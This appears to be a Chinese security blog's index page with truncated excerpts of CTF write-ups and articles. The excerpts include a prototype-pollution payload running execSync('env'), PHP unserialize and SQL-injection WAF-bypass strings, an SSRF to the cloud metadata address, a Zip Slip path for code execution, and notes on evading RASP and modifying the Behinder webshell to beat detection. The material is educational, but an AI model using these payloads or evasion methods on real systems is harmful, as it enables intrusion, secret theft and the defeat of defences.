H&NCTF2026-wp
prototype-preview根据题目名称猜测是js原型链污染 /source路由发现源码 未过滤 __proto__,导致原型链污染 payload: 123456789{ "name": "x", "bio": "x", "theme": {"color": "#333", "layout": "a"}, "__proto__": { "escapeFunction": "escapeHtml;out.push(require(\"child_process\").execSync(\"env\").toString())" }} flag{111b6bb4-8b0c-450c-9d...
第十届御网杯CTF赛道-wp
简单的题简单的一批,难的题又抽象完了,还有虽然一个附件可解但是必须多拿几个附件总结规律才会解的题 WEB-Snake_Game 打开靶机,看到贪吃蛇游戏,需300分获flag,初始分数0 F12查看源码,checkWin(score)直接将客户端分数POST到index.php,服务端无任何校验 直接curl -X POST http://120.27.146.76:22226/index.php -d “score=300”或者在burpsuite抓包校验分数的包改成300分 服务端返回flag{9afd633154414519bd1569bfba021c7a} WEB-PHP_payment 打开靶机,商城flag商品售价99999金币,初始余额仅20 审计附件源码:apply_coupon.php将Base64解码后直接unserialize(),无签名验证 models.php中PromoManager.__destruct()将promo_credit加到session余额 构造payload: O:12:”PromoManager”:2:{s...
RASP的绕过
古早的 RASP 主要是通过两种思路绕过 一种是根据 Runtime.exec() 方法,底层是 ProcessBuilder 再底层 ProcessImpl 更底层的 forkandexec 方法在早两年前是很有效的绕过思路,当时的 RASP 产品并没有 hook native 方法,现在一些高级的 RASP 已经可以 hook native 方法了,JNI 绕过和 forkandexec** **方法绕过就都不太行了 另一种则是开启一个线程来执行命令,让 RASP 失去上下文堆栈的分析数据,使得算法失效, JRASP 提供了解决思路,通过 java.lang.InheritableThreadLocal类在父线程创建子线程时,向子线程传递变量 简单来说就是两种思路: 绕过黑名单 利用更底层的技术进行绕过 按照这两种思路,我们可以延申出许多绕过 RASP 的方法 JNI/JNARASP 工作在 JVM 字节码层面,他能 hook 的也只有 java 相关的方法,那如果我们跳出 JVM,RASP 也会失效 JNI利用思路很简单就是利用 c 语言生成 dll 文件,然...
RASP的基础
什么是 RASPRASP,全称为 Runtime application self-protection,将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预 在攻防中,大部分都是基于流量规则的 waf 和态感,waf 误报率高,也容易被绕过,而且需要人工干预,而RASP技术防御是根据请求上下文进行拦截的,和 WAF 对比非常明显,我们用一个 sql 的攻击来举例 攻击者对http://xxx.com/index.do?id=1进行测试,一般情况会通过一些 sql 语句的拼接来验证是否有注入,这时会对 url 进行大量发包,如下: http://xxx.com/index.do?id=1' and 1=2– 但是由于程序内部的过滤,实际执行的 sql 语句可能是这样: select id,name,age from home where id=’1 ' and 1=2–’ 对于 WAF 来说,只要你的流量包命中 ...
furryCTF 2025-wp
MISC签到题响应包直接搜 furry CyberChefchef 编码 https://tio.run/#chef 这个网站在线解 WEBezmd5数组直接绕说是 PyEditor123456789101112131415# 1. 劫持模块级 exitglobals()['exit'] = lambda *a, **k: None# 2. 构造一个合法的上下文管理器class FakeFile: def __enter__(self): return self def __exit__(self, exc_type, exc, tb): return False def write(self, data): print(data)# 3. 劫持模块级 openglobals()['open'] = lambda *a, **k: FakeFile() CCpreview根据题目提示是个经典的云安全的问题,AWS 的元数据在169.254.169.254 输入: 1http:/...
ciscn2026初赛wp-web
打的时候刚好是刚刚期末考完的哪个周末,已经放飞自我了状态非常差,几乎什么都没做出来,本来都不准备看了,但是还是复盘一下 redisNext.js 框架的网站,用最近的cve来打,但是我最近没有关注相关漏洞,所以不知道,也没细看这道题 AI_WAF我用到的是内联注释绕WAF: ‘ /!50000union/ /!50000select/ 1,2,3#获取数据库的名和版本‘ /!50000union/ /!50000select/ -1,database(),version()#得到 数据库名nexadata获取表名‘ /!50000union/ /!50000select/ -1,group_concat(table_name),3 from information_schema.tables where table_schema=’nexadata’#发现两个表:Article where_is_my_flagggggg获取列名‘ /!500...
RASP的基础和绕过
什么是 RASPRASP,全称为 Runtime application self-protection,将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预 在攻防中,大部分都是基于流量规则的 waf 和态感,waf 误报率高,也容易被绕过,而且需要人工干预,而RASP技术防御是根据请求上下文进行拦截的,和 WAF 对比非常明显,我们用一个 sql 的攻击来举例 攻击者对http://xxx.com/index.do?id=1进行测试,一般情况会通过一些 sql 语句的拼接来验证是否有注入,这时会对 url 进行大量发包,如下: http://xxx.com/index.do?id=1' and 1=2– 但是由于程序内部的过滤,实际执行的 sql 语句可能是这样: select id,name,age from home where id=’1 ' and 1=2–’ 对于 WAF 来说,只要你的流量包命中 ...
文件解压之过(Zip Slip)漏洞导致 Python 代码执行
Python 中负责解压压缩文件的代码实现上并不安全,存在目录遍历漏洞,攻击者可以利用该漏洞覆盖**__init__.py**文件,实现任意代码执行。 在PHP中,实现代码执行最为简单的一种方式就是利用PHP中不安全的文件上传处理逻辑。如果你可以欺骗文件上传逻辑,上传任意PHP文件,那么你就可以执行任意PHP代码。 然而,如果我们面对的是使用Go、Node.js、Python、Ruby等编写的现代Web框架时,即使我们把.py或者.js文件成功上传到服务器上,通过URL请求这些文件通常并不会返回任何结果,即使我们可以通过URL来访问这些资源,也不会触发任何代码执行动作 但是我们可以通过构造压缩包实现代码执行,精心构造的压缩文件虽然看起来人畜无害,但如果负责解压此类文件的代码本身并不安全,那么这种文件就会带来安全风险。 首先我们来了解一下 Zip Slip 漏洞 ZIP 路径穿越漏洞许多应用会从用户上传的 ZIP 压缩包中解压文件。但 ZIP 文件内可以包含 伪造路径,如: 1../../../../tmp/evil.py 如果程序在解压时不验证路径安全性,就可能将这些文件 ...
BehinderV4魔改
“冰蝎”(Behinder)是一个动态二进制加密网站管理客户端,相比较于传统的老牌工具“菜刀”而言,对webshell的流量进行了相应的加密。”冰蝎”客户端基于JAVA,所以可以跨平台使用,随着版本的升级,兼容性也随之提升。主要功能为:基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等,功能非常强大,是现如今必不可少的渗透测试工具之一 如今借助大模型,ai 对流量中木马特征的监测已经越来越准确,可冰蝎早已不再更新,木马上传上去之间就落地成盒,所以我们要对冰蝎马在原本的基础上进行改造 冰蝎特征冰蝎有两个强特征,分别是 和数据包一大堆加密 如果这个数据包可以用冰蝎的传输协议解密,那就实锤为冰蝎马 除此之外还有数个弱特征例如 connection:keep-alive ,固定的 ua 头等 所以我们的魔改需要解决两个问题: 绕过识别(魔改打乱指纹信息) 绕过查杀(新增加密算法) JAP 反编译打包构建https://www.decompiler.com/ 在这个网站在线反编译,然后下载下来(也可以用 jd-gui 工具反编译) 在 i...
Python多线程
首先我们要了解一点基础知识 线程与进程进程(Process)进程是操作系统中资源分配的最小单位,简单来说,一个进程就是一个正在运行的程序的实例,操作系统会为每个进程分配独立的内存空间、文件句柄、CPU 时间、网络端口等资源。不同的进程之间相互独立,一个进程崩了不会影响另一个进程 在 Python 中,一个multiprocessing.Process() 启动的任务就是一个新的子进程,它拥有独立的 Python 解释器和内存空间 线程(Thread)线程是进程中的执行单元,是操作系统中能进行调度的最小单位 一个进程可以有多个线程,多个线程共享同一个进程的内存和资源,每个线程只负责执行一部分任务。 在 Python 里,threading.Thread() 或 ThreadPoolExecutor() 启动的就是线程 Python 中的区别和限制Python 中有一个叫 GIL(全局解释器锁) 的机制,这个机制让同一时刻只能有一个线程在执行 Python 字节码,所以对于 CPU 密集型任务,多线程的效果并不大,但是对于 I/O 密集型任务(网络请求、文件操作等),多线...
